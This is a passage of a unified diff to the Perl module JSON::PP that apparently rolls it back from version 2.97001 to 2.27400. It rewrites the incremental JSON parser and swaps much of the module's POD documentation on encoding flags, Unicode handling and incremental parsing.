-        my $s = substr( $text, $p, 1 );
-        last INCR_PARSE unless defined $s;
-        my $mode = $self->{incr_mode};
-
-        if ( $mode == INCR_M_WS ) {
-            while ( $len > $p ) {
-                $s = substr( $text, $p, 1 );
-                last INCR_PARSE unless defined $s;
-                if ( ord($s) > 0x20 ) {
-                    if ( $s eq '#' ) {
-                        $self->{incr_mode} = INCR_M_C0;
-                        redo INCR_PARSE;
-                    } else {
-                        $self->{incr_mode} = INCR_M_JSON;
-                        redo INCR_PARSE;
-                    }
-                }
-                $p++;
+        my $s = substr( $text, $p++, 1 );
+
+        if ( $s eq '"' ) {
+            if (substr( $text, $p - 2, 1 ) eq '\\' ) {
+                next;
+            }
+
+            if ( $self->{incr_mode} != INCR_M_STR  ) {
+                $self->{incr_mode} = INCR_M_STR;
             }
-        } elsif ( $mode == INCR_M_BS ) {
-            $p++;
-            $self->{incr_mode} = INCR_M_STR;
-            redo INCR_PARSE;
-        } elsif ( $mode == INCR_M_C0 or $mode == INCR_M_C1 ) {
-            while ( $len > $p ) {
-                $s = substr( $text, $p, 1 );
-                last INCR_PARSE unless defined $s;
-                if ( $s eq "\n" ) {
-                    $self->{incr_mode} = $self->{incr_mode} == INCR_M_C0 ? INCR_M_WS : INCR_M_JSON;
+            else {
+                $self->{incr_mode} = INCR_M_JSON;
+                unless ( $self->{incr_nest} ) {
                     last;
                 }
-                $p++;
             }
-            next;
-        } elsif ( $mode == INCR_M_STR ) {
-            while ( $len > $p ) {
-                $s = substr( $text, $p, 1 );
-                last INCR_PARSE unless defined $s;
-                if ( $s eq '"' ) {
-                    $p++;
-                    $self->{incr_mode} = INCR_M_JSON;
-
-                    last INCR_PARSE unless $self->{incr_nest};
-                    redo INCR_PARSE;
-                }
-                elsif ( $s eq '\\' ) {
-                    $p++;
-                    if ( !defined substr($text, $p, 1) ) {
-                        $self->{incr_mode} = INCR_M_BS;
-                        last INCR_PARSE;
-                    }
+        }
+
+        if ( $self->{incr_mode} == INCR_M_JSON ) {
+
+            if ( $s eq '[' or $s eq '{' ) {
+                if ( ++$self->{incr_nest} > $coder->get_max_depth ) {
+                    Carp::croak('json text or perl structure exceeds maximum nesting level (max_depth set too low?)');
                 }
-                $p++;
             }
-        } elsif ( $mode == INCR_M_JSON ) {
-            while ( $len > $p ) {
-                $s = substr( $text, $p++, 1 );
-                if ( $s eq "\x00" ) {
-                    $p--;
-                    last INCR_PARSE;
-                } elsif ( $s eq "\x09" or $s eq "\x0a" or $s eq "\x0d" or $s eq "\x20" ) {
-                    if ( !$self->{incr_nest} ) {
-                        $p--; # do not eat the whitespace, let the next round do it
-                        last INCR_PARSE;
-                    }
-                    next;
-                } elsif ( $s eq '"' ) {
-                    $self->{incr_mode} = INCR_M_STR;
-                    redo INCR_PARSE;
-                } elsif ( $s eq '[' or $s eq '{' ) {
-                    if ( ++$self->{incr_nest} > $coder->get_max_depth ) {
-                        Carp::croak('json text or perl structure exceeds maximum nesting level (max_depth set too low?)');
-                    }
-                    next;
-                } elsif ( $s eq ']' or $s eq '}' ) {
-                    if ( --$self->{incr_nest} <= 0 ) {
-                        last INCR_PARSE;
-                    }
-                } elsif ( $s eq '#' ) {
-                    $self->{incr_mode} = INCR_M_C1;
-                    redo INCR_PARSE;
+            elsif ( $s eq ']' or $s eq '}' ) {
+                last if ( --$self->{incr_nest} <= 0 );
+            }
+            elsif ( $s eq '#' ) {
+                while ( $len > $p ) {
+                    last if substr( $text, $p++, 1 ) eq "\n";
                 }
             }
+
         }
+
     }
 
-    $self->{incr_pos} = $p;
-    $self->{incr_parsing} = $p ? 1 : 0; # for backward compatibility
+    $self->{incr_p} = $p;
+
+    return if ( $self->{incr_mode} == INCR_M_STR and not $self->{incr_nest} );
+    return if ( $self->{incr_mode} == INCR_M_JSON and $self->{incr_nest} > 0 );
+
+    return '' unless ( length substr( $self->{incr_text}, 0, $p ) );
+
+    local $Carp::CarpLevel = 2;
+
+    $self->{incr_p} = $restore;
+    $self->{incr_c} = $p;
+
+    my ( $obj, $tail ) = $coder->PP_decode_json( substr( $self->{incr_text}, 0, $p ), 0x10000001 );
+
+    $self->{incr_text} = substr( $self->{incr_text}, $p );
+    $self->{incr_p} = 0;
+
+    return $obj || '';
 }
 
 
 sub incr_text {
-    if ( $_[0]->{incr_pos} ) {
+    if ( $_[0]->{incr_parsing} ) {
         Carp::croak("incr_text cannot be called when the incremental parser already started parsing");
     }
     $_[0]->{incr_text};
@@ -1605,19 +1576,18 @@ sub incr_text {
 
 sub incr_skip {
     my $self  = shift;
-    $self->{incr_text} = substr( $self->{incr_text}, $self->{incr_pos} );
-    $self->{incr_pos}     = 0;
-    $self->{incr_mode}    = 0;
-    $self->{incr_nest}    = 0;
+    $self->{incr_text} = substr( $self->{incr_text}, $self->{incr_c} );
+    $self->{incr_p} = 0;
 }
 
 
 sub incr_reset {
     my $self = shift;
     $self->{incr_text}    = undef;
-    $self->{incr_pos}     = 0;
+    $self->{incr_p}       = 0;
     $self->{incr_mode}    = 0;
     $self->{incr_nest}    = 0;
+    $self->{incr_parsing} = 0;
 }
 
 ###############################
@@ -1643,11 +1613,13 @@ JSON::PP - JSON::XS compatible pure-Perl module.
 
  # OO-interface
 
- $json = JSON::PP->new->ascii->pretty->allow_nonref;
+ $coder = JSON::PP->new->ascii->pretty->allow_nonref;
  
- $pretty_printed_json_text = $json->encode( $perl_scalar );
+ $json_text   = $json->encode( $perl_scalar );
  $perl_scalar = $json->decode( $json_text );
  
+ $pretty_printed = $json->pretty->encode( $perl_scalar ); # pretty-printing
+ 
  # Note that JSON version 2.0 and above will automatically use
  # JSON::XS or JSON::PP, so you should be able to just:
  
@@ -1656,61 +1628,81 @@ JSON::PP - JSON::XS compatible pure-Perl module.
 
 =head1 VERSION
 
-    2.97001
+    2.27400
+
+L 2.27 (~2.30) compatible.
+
+=head1 NOTE
+
+JSON::PP had been included in JSON distribution (CPAN module).
+It was a perl core module in Perl 5.14.
 
 =head1 DESCRIPTION
 
-JSON::PP is a pure perl JSON decoder/encoder (as of RFC4627, which
-we know is obsolete but we still stick to; see below for an option
-to support part of RFC7159), and (almost) compatible to much
-faster L written by Marc Lehmann in C. JSON::PP works as
-a fallback module when you use L module without having
-installed JSON::XS.
-
-Because of this fallback feature of JSON.pm, JSON::PP tries not to
-be more JavaScript-friendly than JSON::XS (i.e. not to escape extra
-characters such as U+2028 and U+2029 nor support RFC7159/ECMA-404),
-in order for you not to lose such JavaScript-friendliness silently
-when you use JSON.pm and install JSON::XS for speed or by accident.
-If you need JavaScript-friendly RFC7159-compliant pure perl module,
-try L, which is derived from L web
-framework and is also smaller and faster than JSON::PP.
-
-JSON::PP has been in the Perl core since Perl 5.14, mainly for
-CPAN toolchain modules to parse META.json.
+This module is L compatible pure Perl module.
+(Perl 5.8 or later is recommended)
+
+JSON::XS is the fastest and most proper JSON module on CPAN.
+It is written by Marc Lehmann in C, so must be compiled and
+installed in the used environment.
+
+JSON::PP is a pure-Perl module and has compatibility to JSON::XS.
+
+
+=head2 FEATURES
+
+=over
+
+=item * correct unicode handling
+
+This module knows how to handle Unicode (depending on Perl version).
+
+See to L and L.
+
+
+=item * round-trip integrity
+
+When you serialise a perl data structure using only data types supported
+by JSON and Perl, the deserialised data structure is identical on the Perl
+level. (e.g. the string "2.0" doesn't suddenly become "2" just because
+it looks like a number). There I minor exceptions to this, read the
+MAPPING section below to learn about those.
+
+
+=item * strict checking of JSON correctness
+
+There is no guessing, no generating of illegal JSON texts by default,
+and only JSON is accepted as input by default (the latter is a security feature).
+But when some options are set, loose checking features are available.
+
+=back
 
 =head1 FUNCTIONAL INTERFACE
 
-This section is taken from JSON::XS almost verbatim. C
-and C are exported by default.
+Some documents are copied and modified from L.
 
 =head2 encode_json
 
     $json_text = encode_json $perl_scalar
 
-Converts the given Perl data structure to a UTF-8 encoded, binary string
-(that is, the string contains octets only). Croaks on error.
+Converts the given Perl data structure to a UTF-8 encoded, binary string.
 
 This function call is functionally identical to:
 
     $json_text = JSON::PP->new->utf8->encode($perl_scalar)
 
-Except being faster.
-
 =head2 decode_json
 
     $perl_scalar = decode_json $json_text
 
 The opposite of C: expects an UTF-8 (binary) string and tries
 to parse that as an UTF-8 encoded JSON text, returning the resulting
-reference. Croaks on error.
+reference.
 
 This function call is functionally identical to:
 
     $perl_scalar = JSON::PP->new->utf8->decode($json_text)
 
-Except being faster.
-
 =head2 JSON::PP::is_bool
 
     $is_boolean = JSON::PP::is_bool($scalar)
@@ -1719,24 +1711,114 @@ Returns true if the passed scalar represents either JSON::PP::true or
 JSON::PP::false, two constants that act like C<1> and C<0> respectively
 and are also used to represent JSON C and C in Perl strings.
 
+=head2 JSON::PP::true
+
+Returns JSON true value which is blessed object.
+It C JSON::PP::Boolean object.
+
+=head2 JSON::PP::false
+
+Returns JSON false value which is blessed object.
+It C JSON::PP::Boolean object.
+
+=head2 JSON::PP::null
+
+Returns C.
+
 See L, below, for more information on how JSON values are mapped to
 Perl.
 
-=head1 OBJECT-ORIENTED INTERFACE
 
-This section is also taken from JSON::XS.
+=head1 HOW DO I DECODE A DATA FROM OUTER AND ENCODE TO OUTER
+
+This section supposes that your perl version is 5.8 or later.
+
+If you know a JSON text from an outer world - a network, a file content, and so on,
+is encoded in UTF-8, you should use C or C module object
+with C enabled. And the decoded result will contain UNICODE characters.
+
+  # from network
+  my $json        = JSON::PP->new->utf8;
+  my $json_text   = CGI->new->param( 'json_data' );
+  my $perl_scalar = $json->decode( $json_text );
+  
+  # from file content
+  local $/;
+  open( my $fh, '<', 'json.data' );
+  $json_text   = <$fh>;
+  $perl_scalar = decode_json( $json_text );
+
+If an outer data is not encoded in UTF-8, firstly you should C it.
+
+  use Encode;
+  local $/;
+  open( my $fh, '<', 'json.data' );
+  my $encoding = 'cp932';
+  my $unicode_json_text = decode( $encoding, <$fh> ); # UNICODE
+  
+  # or you can write the below code.
+  #
+  # open( my $fh, "<:encoding($encoding)", 'json.data' );
+  # $unicode_json_text = <$fh>;
+
+In this case, C<$unicode_json_text> is of course UNICODE string.
+So you B use C nor C module object with C enabled.
+Instead of them, you use C module object with C disable.
+
+  $perl_scalar = $json->utf8(0)->decode( $unicode_json_text );
+
+Or C and C:
+
+  $perl_scalar = decode_json( encode( 'utf8', $unicode_json_text ) );
+  # this way is not efficient.
+
+And now, you want to convert your C<$perl_scalar> into JSON data and
+send it to an outer world - a network or a file content, and so on.
+
+Your data usually contains UNICODE strings and you want the converted data to be encoded
+in UTF-8, you should use C or C module object with C enabled.
+
+  print encode_json( $perl_scalar ); # to a network? file? or display?
+  # or
+  print $json->utf8->encode( $perl_scalar );
+
+If C<$perl_scalar> does not contain UNICODE but C<$encoding>-encoded strings
+for some reason, then its characters are regarded as B for perl
+(because it does not concern with your $encoding).
+You B use C nor C module object with C enabled.
+Instead of them, you use C module object with C disable.
+Note that the resulted text is a UNICODE string but no problem to print it.
+
+  # $perl_scalar contains $encoding encoded string values
+  $unicode_json_text = $json->utf8(0)->encode( $perl_scalar );
+  # $unicode_json_text consists of characters less than 0x100
+  print $unicode_json_text;
 
-The object oriented interface lets you configure your own encoding or
-decoding style, within the limits of supported formats.
+Or C all string values and C:
+
+  $perl_scalar->{ foo } = decode( $encoding, $perl_scalar->{ foo } );
+  # ... do it to each string values, then encode_json
+  $json_text = encode_json( $perl_scalar );
+
+This method is a proper way but probably not efficient.
+
+See to L, L.
+
+
+=head1 METHODS
+
+Basically, check to L or L.
 
 =head2 new
 
     $json = JSON::PP->new
 
-Creates a new JSON::PP object that can be used to de/encode JSON
-strings. All boolean flags described below are by default I.
+Returns a new JSON::PP object that can be used to de/encode JSON
+strings.
 
-The mutators for flags all return the JSON::PP object again and thus calls can
+All boolean flags described below are by default I.
+
+The mutators for flags all return the JSON object again and thus calls can
 be chained:
 
    my $json = JSON::PP->new->utf8->space_after->encode({a => [1,2]})
@@ -1748,23 +1830,16 @@ be chained:
     
     $enabled = $json->get_ascii
 
-If C<$enable> is true (or missing), then the C method will not
-generate characters outside the code range C<0..127> (which is ASCII). Any
-Unicode characters outside that range will be escaped using either a
-single \uXXXX (BMP characters) or a double \uHHHH\uLLLLL escape sequence,
-as per RFC4627. The resulting encoded JSON text can be treated as a native
-Unicode string, an ascii-encoded, latin1-encoded or UTF-8 encoded string,
-or any other superset of ASCII.
-
-If C<$enable> is false, then the C method will not escape Unicode
-characters unless required by the JSON syntax or other flags. This results
-in a faster and more compact format.
+If $enable is true (or missing), then the encode method will not generate characters outside
+the code range 0..127. Any Unicode characters outside that range will be escaped using either
+a single \uXXXX or a double \uHHHH\uLLLLL escape sequence, as per RFC4627.
+(See to L).
 
-See also the section I later in this document.
+In Perl 5.005, there is no character having high value (more than 255).
+See to L.
 
-The main use for this flag is to produce JSON texts that can be
-transmitted over a 7-bit channel, as the encoded JSON texts will not
-contain any 8 bit characters.
+If $enable is false, then the encode method will not escape Unicode characters unless
+required by the JSON syntax or other flags. This results in a faster and more compact format.
 
   JSON::PP->new->ascii(1)->encode([chr 0x10401])
   => ["\ud801\udc01"]
@@ -1775,49 +1850,37 @@ contain any 8 bit characters.
     
     $enabled = $json->get_latin1
 
-If C<$enable> is true (or missing), then the C method will encode
-the resulting JSON text as latin1 (or iso-8859-1), escaping any characters
-outside the code range C<0..255>. The resulting string can be treated as a
-latin1-encoded JSON text or a native Unicode string. The C method
-will not be affected in any way by this flag, as C by default
-expects Unicode, which is a strict superset of latin1.
+If $enable is true (or missing), then the encode method will encode the resulting JSON
+text as latin1 (or iso-8859-1), escaping any characters outside the code range 0..255.
 
-If C<$enable> is false, then the C method will not escape Unicode
-characters unless required by the JSON syntax or other flags.
+If $enable is false, then the encode method will not escape Unicode characters
+unless required by the JSON syntax or other flags.
 
-See also the section I later in this document.
-
-The main use for this flag is efficiently encoding binary data as JSON
-text, as most octets will not be escaped, resulting in a smaller encoded
-size. The disadvantage is that the resulting JSON text is encoded
-in latin1 (and must correctly be treated as such when storing and
-transferring), a rare encoding for JSON. It is therefore most useful when
-you want to store data structures known to contain binary data efficiently
-in files or databases, not when talking to other JSON encoders/decoders.
-
-  JSON::PP->new->latin1->encode (["\x{89}\x{abc}"]
+  JSON::XS->new->latin1->encode (["\x{89}\x{abc}"]
   => ["\x{89}\\u0abc"]    # (perl syntax, U+abc escaped, U+89 not)
 
+See to L.
+
 =head2 utf8
 
     $json = $json->utf8([$enable])
     
     $enabled = $json->get_utf8
 
-If C<$enable> is true (or missing), then the C method will encode
-the JSON result into UTF-8, as required by many protocols, while the
-C method expects to be handled an UTF-8-encoded string.  Please
-note that UTF-8-encoded strings do not contain any characters outside the
-range C<0..255>, they are thus useful for bytewise/binary I/O. In future
-versions, enabling this option might enable autodetection of the UTF-16
-and UTF-32 encoding families, as described in RFC4627.
+If $enable is true (or missing), then the encode method will encode the JSON result
+into UTF-8, as required by many protocols, while the decode method expects to be handled
+an UTF-8-encoded string. Please note that UTF-8-encoded strings do not contain any
+characters outside the range 0..255, they are thus useful for bytewise/binary I/O.
 
-If C<$enable> is false, then the C method will return the JSON
-string as a (non-encoded) Unicode string, while C expects thus a
-Unicode string.  Any decoding or encoding (e.g. to UTF-8 or UTF-16) needs
-to be done yourself, e.g. using the Encode module.
+(In Perl 5.005, any character outside the range 0..255 does not exist.
+See to L.)
 
-See also the section I later in this document.
+In future versions, enabling this option might enable autodetection of the UTF-16 and UTF-32
+encoding families, as described in RFC4627.
+
+If $enable is false, then the encode method will return the JSON string as a (non-encoded)
+Unicode string, while decode expects thus a Unicode string. Any decoding or encoding
+(e.g. to UTF-8 or UTF-16) needs to be done yourself, e.g. using the Encode module.
 
 Example, output UTF-16BE-encoded JSON:
 
@@ -1829,13 +1892,18 @@ Example, decode UTF-32LE-encoded JSON:
   use Encode;
   $object = JSON::PP->new->decode (decode "UTF-32LE", $jsontext);
 
+
 =head2 pretty
 
     $json = $json->pretty([$enable])
 
 This enables (or disables) all of the C, C and
-C (and in the future possibly more) flags in one call to
-generate the most readable (or most compact) form possible.
+C flags in one call to generate the most readable
+(or most compact) form possible.
+
+Equivalent to:
+
+   $json->indent->space_before->space_after
 
 =head2 indent
 
@@ -1843,15 +1911,6 @@ generate the most readable (or most compact) form possible.
     
     $enabled = $json->get_indent
 
-If C<$enable> is true (or missing), then the C method will use a multiline
-format as output, putting every array member or object/hash key-value pair
-into its own line, indenting them properly.
-
-If C<$enable> is false, no newlines or indenting will be produced, and the
-resulting JSON text is guaranteed not to contain any C.
-
-This setting has no effect when decoding JSON texts.
-
 The default indent space length is three.
 You can use C to change the length.
 
@@ -1867,8 +1926,7 @@ optional space before the C<:> separating keys from values in JSON objects.
 If C<$enable> is false, then the C method will not add any extra
 space at those places.
 
-This setting has no effect when decoding JSON texts. You will also
-most likely combine this setting with C.
+This setting has no effect when decoding JSON texts.
 
 Example, space_before enabled, space_after and indent disabled:
 
@@ -1941,28 +1999,6 @@ character, after which more white-space and comments are allowed.
         # neither this one...
   ]
 
-=item * C-style multiple-line '/* */'-comments (JSON::PP only)
-
-Whenever JSON allows whitespace, C-style multiple-line comments are additionally
-allowed. Everything between C and C<*/> is a comment, after which
-more white-space and comments are allowed.
-
-  [
-     1, /* this comment not allowed in JSON */
-        /* neither this one... */
-  ]
-
-=item * C++-style one-line '//'-comments (JSON::PP only)
-
-Whenever JSON allows whitespace, C++-style one-line comments are additionally
-allowed. They are terminated by the first carriage-return or line-feed
-character, after which more white-space and comments are allowed.
-
-  [
-     1, // this comment not allowed in JSON
-        // neither this one...
-  ]
-
 =back
 
 =head2 canonical
@@ -1976,8 +2012,7 @@ by sorting their keys. This is adding a comparatively high overhead.
 
 If C<$enable> is false, then the C method will output key-value
 pairs in the order Perl stores them (which will likely change between runs
-of the same script, and can change even within the same run from 5.18
-onwards).
+of the same script).
 
 This option is useful if you want the same data structure to be encoded as
 the same JSON text (given the same overall settings). If it is disabled,
@@ -1986,7 +2021,8 @@ as key-value pairs have no inherent ordering in Perl.
 
 This setting has no effect when decoding JSON texts.
 
-This setting has currently no effect on tied hashes.
+If you want your own sorting routine, you can give a code reference
+or a subroutine name to C. See to C.
 
 =head2 allow_nonref
 
@@ -2004,9 +2040,6 @@ passed an arrayref or hashref, as JSON texts must either be an object
 or array. Likewise, C will croak if given something that is not a
 JSON object or array.
 
-Example, encode a Perl scalar as JSON value with enabled C,
-resulting in an invalid JSON text:
-
    JSON::PP->new->allow_nonref->encode ("Hello, World!")
    => "Hello, World!"
 
@@ -2016,17 +2049,18 @@ resulting in an invalid JSON text:
     
     $enabled = $json->get_allow_unknown
 
-If C<$enable> is true (or missing), then C will I throw an
+If $enable is true (or missing), then "encode" will *not* throw an
 exception when it encounters values it cannot represent in JSON (for
-example, filehandles) but instead will encode a JSON C value. Note
-that blessed objects are not included here and are handled separately by
-c.
+example, filehandles) but instead will encode a JSON "null" value.
+Note that blessed objects are not included here and are handled
+separately by c.
 
-If C<$enable> is false (the default), then C will throw an
+If $enable is false (the default), then "encode" will throw an
 exception when it encounters anything it cannot encode as JSON.
 
-This option does not affect C in any way, and it is recommended to
-leave it off unless you know your communications partner.
+This option does not affect "decode" in any way, and it is
+recommended to leave it off unless you know your communications
+partner.
 
 =head2 allow_blessed
 
@@ -2034,17 +2068,15 @@ leave it off unless you know your communications partner.
     
     $enabled = $json->get_allow_blessed
 
-See L for details.
-
 If C<$enable> is true (or missing), then the C method will not
-barf when it encounters a blessed reference that it cannot convert
-otherwise. Instead, a JSON C value is encoded instead of the object.
+barf when it encounters a blessed reference. Instead, the value of the
+B option will decide whether C (C
+disabled or no C method found) or a representation of the
+object (C enabled and C method found) is being
+encoded. Has no effect on C.
 
 If C<$enable> is false (the default), then C will throw an
-exception when it encounters a blessed object that it cannot convert
-otherwise.
-
-This setting has no effect on C.
+exception when it encounters a blessed object.
 
 =head2 convert_blessed
 
@@ -2052,38 +2084,38 @@ This setting has no effect on C.
     
     $enabled = $json->get_convert_blessed
 
-See L for details.
-
 If C<$enable> is true (or missing), then C, upon encountering a
 blessed object, will check for the availability of the C method
-on the object's class. If found, it will be called in scalar context and
-the resulting scalar will be encoded instead of the object.
+on the object's class. If found, it will be called in scalar context
+and the resulting scalar will be encoded instead of the object. If no
+C method is found, the value of C will decide what
+to do.
 
 The C method may safely call die if it wants. If C
 returns other blessed objects, those will be handled in the same
 way. C must take care of not causing an endless recursion cycle
 (== crash) in this case. The name of C was chosen because other
 methods called by the Perl core (== not by the user of the object) are
-usually in upper case letters and to avoid collisions with any C
+usually in upper case letters and to avoid collisions with the C
 function or method.
 
-If C<$enable> is false (the default), then C will not consider
-this type of conversion.
+This setting does not yet influence C in any way.
 
-This setting has no effect on C.
+If C<$enable> is false, then the C setting will decide what
+to do when a blessed object is found.
 
 =head2 filter_json_object
 
     $json = $json->filter_json_object([$coderef])
 
 When C<$coderef> is specified, it will be called from C each
-time it decodes a JSON object. The only argument is a reference to the
-newly-created hash. If the code references returns a single scalar (which
-need not be a reference), this value (i.e. a copy of that scalar to avoid
-aliasing) is inserted into the deserialised data structure. If it returns
-an empty list (NOTE: I C, which is a valid scalar), the
-original deserialised hash will be inserted. This setting can slow down
-decoding considerably.
+time it decodes a JSON object. The only argument passed to the coderef
+is a reference to the newly-created hash. If the code references returns
+a single scalar (which need not be a reference), this value
+(i.e. a copy of that scalar to avoid aliasing) is inserted into the
+deserialised data structure. If it returns an empty list
+(NOTE: I C, which is a valid scalar), the original deserialised
+hash will be inserted. This setting can slow down decoding considerably.
 
 When C<$coderef> is omitted or undefined, any existing callback will
 be removed and C will not change the deserialised hash in any
@@ -2158,13 +2190,15 @@ into the corresponding C<< $WIDGET{} >> object:
     
     $enabled = $json->get_shrink
 
-If C<$enable> is true (or missing), the string returned by C will
-be shrunk (i.e. downgraded if possible).
+In JSON::XS, this flag resizes strings generated by either
+C or C to their minimum size possible.
+It will also try to downgrade any strings to octet-form if possible.
 
-The actual definition of what shrink does might change in future versions,
-but it will always try to save space at the expense of time.
+In JSON::PP, it is noop about resizing strings but tries
+C to the returned string by C.
+See to L.
 
-If C<$enable> is false, then JSON::PP does nothing.
+See to L
 
 =head2 max_depth
 
@@ -2182,14 +2216,14 @@ needs to traverse to reach a given point or the number of C<{> or C<[>
 characters without their matching closing parenthesis crossed to reach a
 given character in a string.
 
-Setting the maximum depth to one disallows any nesting, so that ensures
-that the object is only a single hash/object or array.
-
 If no argument is given, the highest possible setting will be used, which
 is rarely useful.
 
 See L for more info on why this is useful.
 
+When a large value (100 or more) was set and it de/encodes a deep nested object/text,
+it may raise a warning 'Deep recursion on subroutine' at the perl runtime phase.
+
 =head2 max_size
 
     $json = $json->max_size([$maximum_string_size])
@@ -2211,8 +2245,12 @@ See L for more info on why this is useful.
 
     $json_text = $json->encode($perl_scalar)
 
-Converts the given Perl value or data structure to its JSON
-representation. Croaks on error.
+Converts the given Perl data structure (a simple scalar or a reference
+to a hash or array) to its JSON representation. Simple scalars will be
+converted into JSON string or number sequences, while references to arrays
+become JSON arrays and references to hashes become JSON objects. Undefined
+Perl values (e.g. C) become JSON C values.
+References to the integers C<0> and C<1> are converted into C and C.
 
 =head2 decode
 
@@ -2221,6 +2259,11 @@ representation. Croaks on error.
 The opposite of C: expects a JSON text and tries to parse it,
 returning the resulting simple scalar or reference. Croaks on error.
 
+JSON numbers and strings become simple Perl scalars. JSON arrays become
+Perl arrayrefs and JSON objects become Perl hashrefs. C becomes
+C<1> (C), C becomes C<0> (C) and
+C becomes C.
+
 =head2 decode_prefix
 
     ($perl_scalar, $characters) = $json->decode_prefix($json_text)
@@ -2230,185 +2273,25 @@ when there is trailing garbage after the first JSON object, it will
 silently stop parsing there and return the number of characters consumed
 so far.
 
-This is useful if your JSON texts are not delimited by an outer protocol
-and you need to know where the JSON text ends.
-
-   JSON::PP->new->decode_prefix ("[1] the tail")
-   => ([1], 3)
-
-=head1 FLAGS FOR JSON::PP ONLY
-
-The following flags and properties are for JSON::PP only. If you use
-any of these, you can't make your application run faster by replacing
-JSON::PP with JSON::XS. If you need these and also speed boost,
-try L, a fork of JSON::XS by Reini Urban, which
-supports some of these.
-
-=head2 allow_singlequote
-
-    $json = $json->allow_singlequote([$enable])
-    $enabled = $json->get_allow_singlequote
-
-If C<$enable> is true (or missing), then C will accept
-invalid JSON texts that contain strings that begin and end with
-single quotation marks. C will not be affected in anyway.
-I. I suggest only to use this option to
-parse application-specific files written by humans (configuration
-files, resource files etc.)
-
-If C<$enable> is false (the default), then C will only accept
-valid JSON texts.
-
-    $json->allow_singlequote->decode(qq|{"foo":'bar'}|);
-    $json->allow_singlequote->decode(qq|{'foo':"bar"}|);
-    $json->allow_singlequote->decode(qq|{'foo':'bar'}|);
-
-=head2 allow_barekey
-
-    $json = $json->allow_barekey([$enable])
-    $enabled = $json->get_allow_barekey
-
-If C<$enable> is true (or missing), then C will accept
-invalid JSON texts that contain JSON objects whose names don't
-begin and end with quotation marks. C will not be affected
-in anyway. I. I suggest only to use this option to
-parse application-specific files written by humans (configuration
-files, resource files etc.)
-
-If C<$enable> is false (the default), then C will only accept
-valid JSON texts.
-
-    $json->allow_barekey->decode(qq|{foo:"bar"}|);
-
-=head2 allow_bignum
-
-    $json = $json->allow_bignum([$enable])
-    $enabled = $json->get_allow_bignum
-
-If C<$enable> is true (or missing), then C will convert
-big integers Perl cannot handle as integer into L
-objects and convert floating numbers into L
-objects. C will convert C and C
-objects into JSON numbers.
-
-   $json->allow_nonref->allow_bignum;
-   $bigfloat = $json->decode('2.000000000000000000000000001');
-   print $json->encode($bigfloat);
-   # => 2.000000000000000000000000001
-
-See also L.
-
-=head2 loose
-
-    $json = $json->loose([$enable])
-    $enabled = $json->get_loose
-
-If C<$enable> is true (or missing), then C will accept
-invalid JSON texts that contain unescaped [\x00-\x1f\x22\x5c]
-characters. C will not be affected in anyway.
-I. I suggest only to use this option to
-parse application-specific files written by humans (configuration
-files, resource files etc.)
-
-If C<$enable> is false (the default), then C will only accept
-valid JSON texts.
-
-    $json->loose->decode(qq|["abc
-                                   def"]|);
-
-=head2 escape_slash
-
-    $json = $json->escape_slash([$enable])
-    $enabled = $json->get_escape_slash
-
-If C<$enable> is true (or missing), then C will explicitly
-escape I (solidus; C) characters to reduce the risk of
-XSS (cross site scripting) that may be caused by C<<  >>
-in a JSON text, with the cost of bloating the size of JSON texts.
-
-This option may be useful when you embed JSON in HTML, but embedding
-arbitrary JSON in HTML (by some HTML template toolkit or by string
-interpolation) is risky in general. You must escape necessary
-characters in correct order, depending on the context.
-
-C will not be affected in anyway.
-
-=head2 indent_length
-
-    $json = $json->indent_length($number_of_spaces)
-    $length = $json->get_indent_length
-
-This option is only useful when you also enable C or C.
-
-JSON::XS indents with three spaces when you C (if requested
-by C or C), and the number cannot be changed.
-JSON::PP allows you to change/get the number of indent spaces with these
-mutator/accessor. The default number of spaces is three (the same as
-JSON::XS), and the acceptable range is from C<0> (no indentation;
-it'd be better to disable indentation by C) to C<15>.
-
-=head2 sort_by
-
-    $json = $json->sort_by($code_ref)
-    $json = $json->sort_by($subroutine_name)
-
-If you just want to sort keys (names) in JSON objects when you
-C, enable C option (see above) that allows you to
-sort object keys alphabetically.
-
-If you do need to sort non-alphabetically for whatever reasons,
-you can give a code reference (or a subroutine name) to C,
-then the argument will be passed to Perl's C built-in function.
-
-As the sorting is done in the JSON::PP scope, you usually need to
-prepend C to the subroutine name, and the special variables
-C<$a> and C<$b> used in the subrontine used by C function.
-
-Example:
-
-   my %ORDER = (id => 1, class => 2, name => 3);
-   $json->sort_by(sub {
-       ($ORDER{$JSON::PP::a} // 999) <=> ($ORDER{$JSON::PP::b} // 999)
-       or $JSON::PP::a cmp $JSON::PP::b
-   });
-   print $json->encode([
-       {name => 'CPAN', id => 1, href => 'http://cpan.org'}
-   ]);
-   # [{"id":1,"name":"CPAN","href":"http://cpan.org"}]
-
-Note that C affects all the plain hashes in the data structure.
-If you need finer control, C necessary hashes with a module that
-implements ordered hash (such as L and L).
-C and C don't affect the key order in Cd
-hashes.
-
-   use Hash::Ordered;
-   tie my %hash, 'Hash::Ordered',
-       (name => 'CPAN', id => 1, href => 'http://cpan.org');
-   print $json->encode([\%hash]);
-   # [{"name":"CPAN","id":1,"href":"http://cpan.org"}] # order is kept
+   JSON->new->decode_prefix ("[1] the tail")
+   => ([], 3)
 
 =head1 INCREMENTAL PARSING
 
-This section is also taken from JSON::XS.
+Most of this section are copied and modified from L.
 
-In some cases, there is the need for incremental parsing of JSON
-texts. While this module always has to keep both JSON text and resulting
-Perl data structure in memory at one time, it does allow you to parse a
-JSON stream incrementally. It does so by accumulating text until it has
-a full JSON object, which it then can decode. This process is similar to
-using C to see if a full JSON object is available, but
-is much more efficient (and can be implemented with a minimum of method
-calls).
+In some cases, there is the need for incremental parsing of JSON texts.
+This module does allow you to parse a JSON stream incrementally.
+It does so by accumulating text until it has a full JSON object, which
+it then can decode. This process is similar to using C
+to see if a full JSON object is available, but is much more efficient
+(and can be implemented with a minimum of method calls).
 
-JSON::PP will only attempt to parse the JSON text once it is sure it
+This module will only attempt to parse the JSON text once it is sure it
 has enough text to get a decisive result, using a very simple but
 truly incremental parser. This means that it sometimes won't stop as
-early as the full parser, for example, it doesn't detect mismatched
-parentheses. The only thing it guarantees is that it starts decoding as
+early as the full parser, for example, it doesn't detect parentheses
+mismatches. The only thing it guarantees is that it starts decoding as
 soon as a syntactically valid JSON text has been seen. This means you need
 to set resource limits (e.g. C) to ensure the parser will stop
 parsing in the presence if syntax errors.
@@ -2443,16 +2326,15 @@ using the method.
 
 And finally, in list context, it will try to extract as many objects
 from the stream as it can find and return them, or the empty list
-otherwise. For this to work, there must be no separators (other than
-whitespace) between the JSON objects or arrays, instead they must be
